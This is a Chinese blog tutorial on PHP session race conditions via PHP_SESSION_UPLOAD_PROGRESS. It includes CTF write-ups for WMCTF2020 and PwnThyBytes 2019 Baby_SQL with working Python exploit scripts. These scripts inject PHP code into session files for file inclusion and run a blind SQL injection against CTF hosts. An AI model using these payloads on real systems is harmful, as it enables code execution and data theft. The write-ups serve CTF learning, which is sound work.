PHP SESSION 的存储
Session会话存储方式
PHP将session以文件的形式存储服务器的文件中,session.save_path来控制
默认路径
- /var/lib/php/sess_PHPSESSID
- /var/lib/php/sessions/sess_PHPSESSID
- /tmp/sess_PHPSESSID
- /tmp/sessions/sess_PHPSESSID
session文件默认是/var/lib/php/sessions目录下,文件名是sess_加上sessionID字段
但是在赛题中大多数都是/tmp目录下,需要php.ini力sesion.auto_start设置为1,然后修改目录
session.auto_start
:如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,也是通常情况下,这个选项都是默认关闭的。
session.upload_progress.cleanup = on:
表示当文件上传结束后,php将会立即清空对应session文件中的内容。该选项默认开启
session.use_strict_mode:
默认情况下,该选项的值是0,此时用户可以自己定义Session ID。
使用 Python 实现创建 Session 文件的过程:
import io
import requests
import threading
sessid = \'whoami\'
def POST(session):
f = io.BytesIO(b\'a\' * 1024 * 50)
session.post(
\'http://192.168.43.82/index.php\',
data={\"PHP_SESSION_UPLOAD_PROGRESS\":\"123\"}, //用来改变session中的值
files={\"file\":(\'q.txt\', f)},
cookies={\'PHPSESSID\':sessid} //用来sesssion中的文件名 sess_whoami
)
with requests.session() as session:
while True:
POST(session)
print(\"[+] 成功写入sess_whoami\")
[WMCTF2020]Make PHP Great Again
<?php
highlight_file(__FILE__);
require_once \'flag.php\';
if(isset($_GET[\'file\'])) {
require_once $_GET[\'file\'];
}
这道题是文件包含,已经包含过了一次flag.php,就不能二次包含了,一种方法是软连接/proc/self/root绕过
/proc/self指向当前进程的/proc/pid/
/proc/self/root/是指向/的符号链接
这道题也可以 用条件竞争进行,
import io
import sys
import requests
import threading
host = \'http://6417a062-bc49-48f8-bbad-2b203887ba46.node4.buuoj.cn:81/\'
sessid = \'feng\'
def POST(session):
while True:
f = io.BytesIO(b\'a\' * 1024 * 50)
session.post(
host,
data={
# \"PHP_SESSION_UPLOAD_PROGRESS\":\"<?php system(\'cat flag.php\');echo md5(\'1\');?>\"},
\"PHP_SESSION_UPLOAD_PROGRESS\": \"<?php phpinfo();echo md5(\'1\');?>\"},//session存值
files={
\"file\":(\'a.txt\', f)},
cookies={
\'PHPSESSID\':sessid}//改名
)
def READ(session):
while True:
response = session.get(f\'{host}?file=/tmp/sess_{sessid}\')//路径
# print(response.text)
if \'c4ca4238a0b923820dcc509a6f75849b\' not in response.text://1的md5
print(\'[+++]retry\')
else:
print(response.text)
sys.exit(0)
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))//线程可以套循环 多层线程
t1.daemon = True //相当完成任务直接结束,不用等线程全部结束
t1.start()
READ(session)
线程结束后,想在网页获得php坏境页面可是找不到,
希望有师傅解答一下,然后这样就非常局限,
[PwnThyBytes 2019]Baby_SQL
访问源码,获得source.zip
打开后发现index.php
<?php
session_start();
foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;
foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;
foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;
foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;
function filter($value)
{
!is_string($value) AND die(\"Hacking attempt!\");
return addslashes($value);
}
isset($_GET[\'p\']) AND $_GET[\'p\'] === \"register\" AND $_SERVER[\'REQUEST_METHOD\'] === \'POST\' AND isset($_POST[\'username\']) AND isset($_POST[\'password\']) AND @include(\'templates/register.php\');
isset($_GET[\'p\']) AND $_GET[\'p\'] === \"login\" AND $_SERVER[\'REQUEST_METHOD\'] === \'GET\' AND isset($_GET[\'username\']) AND isset($_GET[\'password\']) AND @include(\'templates/login.php\');
isset($_GET[\'p\']) AND $_GET[\'p\'] === \"home\" AND @include(\'templates/home.php\');
?>
都要经过最后的过滤,然后通过传参p进行包含templates目录下面的文件
login.php
<?php
!isset($_SESSION) AND die(\"Direct access on this script is not allowed!\");
include \'db.php\';
$sql = \'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`=\"\' . $_GET[\'username\'] . \'\" and password=\"\' . md5($_GET[\'password\']) . \'\";\';
$result = $con->query($sql);
function auth($user)
{
$_SESSION[\'username\'] = $user;
return True;
}
($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row[\'username\']) AND die(\'<meta http-equiv=\"refresh\" content=\"0; url=?p=home\" />\')) OR ($con->close() AND die(\'Try again!\'));
?>
发现就login.php里面没有过滤,然后
!isset($_SESSION) AND die(\"Direct access on this script is not allowed!\");
意思为如果不存在session就die输出,前面的为true才执行后面的
($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row[\’username\’]) AND die(\'<meta http-equiv=\”refresh\” content=\”0; url=?p=home\” />\’)) OR ($con->close() AND die(\’Try again!\’));
OR前面是false才执行后面的语句。然后这里的意思前面有个大的括号里有一个满足就会执行$con->close(),然后这个执行返回true的话就会执行die(“Not allowed!”);
所以如果我们要直接访问login.php进行sql注入的话,还需要带上一个session才行,这里边用上了我们的PHP_SESSION_UPLOAD_PROGRESS了。我们可以使用PHP_SESSION_UPLOAD_PROGRESS来在目标服务器上初始化一个session,然后便可以绕过index.php中的检测,直接访问login.php进行sql注入了。
import requests
url = \"http://d9cf1c36-45c7-47e2-b0f9-1da95406b5d3.node4.buuoj.cn:81/templates/login.php\"
//这个templates是因为login.php在这个目录下面
files = {\"file\": \"123456789\"}
a = requests.post(url=url, files=files, data={\"PHP_SESSION_UPLOAD_PROGRESS\": \"123456789\"},
cookies={\"PHPSESSID\": \"test1\"}, params={\'username\': \'test\', \'password\': \'test\'},
proxies={\'http\': \"http://127.0.0.1:8080\"})通过这个接口,burp就可以抓包到
print(a.text)
然后对username进行注入,发现是用\”进行闭合,然后回显,可以用盲注实现
<meta http-equiv=\”refresh\” content=\”0; url=?p=home\” />
import requests
import time
url = \"http://d8412613-fa2e-4a01-bd02-c0dea96bce33.node4.buuoj.cn:81/templates/login.php\"
files = {\"file\": \"123456789\"}
flag=\'\'
for i in range(1,100):
low = 32
high = 128
mid = (low+high)//2
while (low < high):
time.sleep(0.06)
#payload_flag ={\'username\': \"test\\\" or (ascii(substr((select
group_concat(username) from ptbctf ),{0},1))>{1}) #\".format(i, mid),\'password\': \'test\'}
payload_flag = {
\'username\': \'test\" or (ascii(substr(database(),{0},1))>{1}) #\'.format(i,mid),\'password\': \'test\'}
r = requests.post(url=url,params=payload_flag,files=files, data={\"PHP_SESSION_UPLOAD_PROGRESS\": \"123456789\"},
cookies={\"PHPSESSID\": \"test1\"})
print(payload_flag)
if \'<meta http-equiv=\"refresh\" content=\"0; url=?p=home\" />\' in r.text:
low = mid +1
else:
high = mid
mid = (low + high) // 2
if(mid==32 ):
break
flag +=chr(mid)
print(flag)
print(flag)
到此这篇关于PHP Session条件竞争超详细讲解的文章就介绍到这了,更多相关PHP Session内容请搜索OX520以前的文章或继续浏览下面的相关文章希望大家以后多多支持OX520!
暂无评论内容